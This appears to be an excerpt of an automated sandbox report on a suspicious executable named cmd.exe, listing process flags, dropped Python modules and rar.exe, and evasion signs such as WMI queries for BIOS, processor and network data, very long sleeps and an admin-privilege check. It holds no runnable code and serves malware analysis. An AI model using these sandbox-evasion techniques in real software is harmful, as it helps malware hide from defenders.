Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\systeminfo.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\getmac.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion
barindex
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Source: C:\Windows\System32\systeminfo.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapter
Source: C:\Windows\System32\getmac.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapter
Source: C:\Windows\System32\getmac.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Source: C:\Windows\System32\getmac.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : ASSOCIATORS OF {Win32_NetworkAdapter.DeviceID="1"} WHERE ResultClass=Win32_NetworkAdapterConfiguration
Source: C:\Windows\System32\getmac.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_NetworkAdapterSetting where Element="Win32_NetworkAdapter.DeviceID=\"1\""
Contains long sleeps (>= 3 min)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 3705 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 2946 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 2984 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 675
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 1857
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 2639
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 1260
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 4345
Found dropped PE file which has not been started or loaded
Source: C:\Users\user\Desktop\cmd.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72642\_queue.pyd Jump to dropped file
Source: C:\Users\user\Desktop\cmd.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72642\_lzma.pyd Jump to dropped file
Source: C:\Users\user\Desktop\cmd.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72642\_hashlib.pyd Jump to dropped file
Source: C:\Users\user\Desktop\cmd.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72642\unicodedata.pyd Jump to dropped file
Source: C:\Users\user\Desktop\cmd.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72642\_sqlite3.pyd Jump to dropped file
Source: C:\Users\user\Desktop\cmd.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72642\select.pyd Jump to dropped file
Source: C:\Users\user\Desktop\cmd.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72642\_socket.pyd Jump to dropped file
Source: C:\Users\user\Desktop\cmd.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72642\_decimal.pyd Jump to dropped file
Source: C:\Users\user\Desktop\cmd.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72642\_bz2.pyd Jump to dropped file
Source: C:\Users\user\Desktop\cmd.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72642\_ctypes.pyd Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\bcdu5fii\bcdu5fii.dll Jump to dropped file
Source: C:\Users\user\Desktop\cmd.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72642\python310.dll Jump to dropped file
Source: C:\Users\user\Desktop\cmd.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72642\_ssl.pyd Jump to dropped file
Found evasive API chain checking for process token information
Source: C:\Users\user\Desktop\cmd.exe Check user administrative privileges: GetTokenInformation,DecisionNodes
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7724 Thread sleep count: 3705 > 30 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7832 Thread sleep time: -1844674407370954s >= -30000s Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7784 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7716 Thread sleep count: 2946 > 30 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7828 Thread sleep time: -1844674407370954s >= -30000s Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7776 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7720 Thread sleep count: 2984 > 30 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7836 Thread sleep time: -1844674407370954s >= -30000s Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7780 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 8096 Thread sleep time: -30000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7900 Thread sleep count: 675 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8332 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6452 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8384 Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8372 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8060 Thread sleep count: 2639 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8092 Thread sleep count: 1260 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4564 Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3624 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8824 Thread sleep count: 4345 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8820 Thread sleep count: 206 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8816 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8784 Thread sleep time: -922337203685477s >= -30000s
Queries disk information (often used to detect virtual machines)
Source: C:\Windows\System32\svchost.exe File opened: PhysicalDrive0
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Source: C:\Windows\System32\systeminfo.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Source: C:\Windows\System32\wbem\WMIC.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT TotalPhysicalMemory FROM Win32_ComputerSystem
Source: C:\Windows\System32\wbem\WMIC.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT UUID FROM Win32_ComputerSystemProduct
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Source: C:\Windows\System32\systeminfo.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\systeminfo.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Users\user\Desktop\cmd.exe Code function: 0_2_00007FF70AEF83B0 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW, 0_2_00007FF70AEF83B0
Source: C:\Users\user\Desktop\cmd.exe Code function: 0_2_00007FF70AEF92F0 FindFirstFileExW,FindClose, 0_2_00007FF70AEF92F0
Source: C:\Users\user\Desktop\cmd.exe Code function: 0_2_00007FF70AF118E4 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose, 0_2_00007FF70AF118E4
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Code function: 65_2_00007FF69A4046EC FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError, 65_2_00007FF69A4046EC
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Code function: 65_2_00007FF69A3FE21C FindFirstFileW,FindClose,CreateFileW,DeviceIoControl,CloseHandle, 65_2_00007FF69A3FE21C
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Code function: 65_2_00007FF69A4488E0 FindFirstFileExA, 65_2_00007FF69A4488E0
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
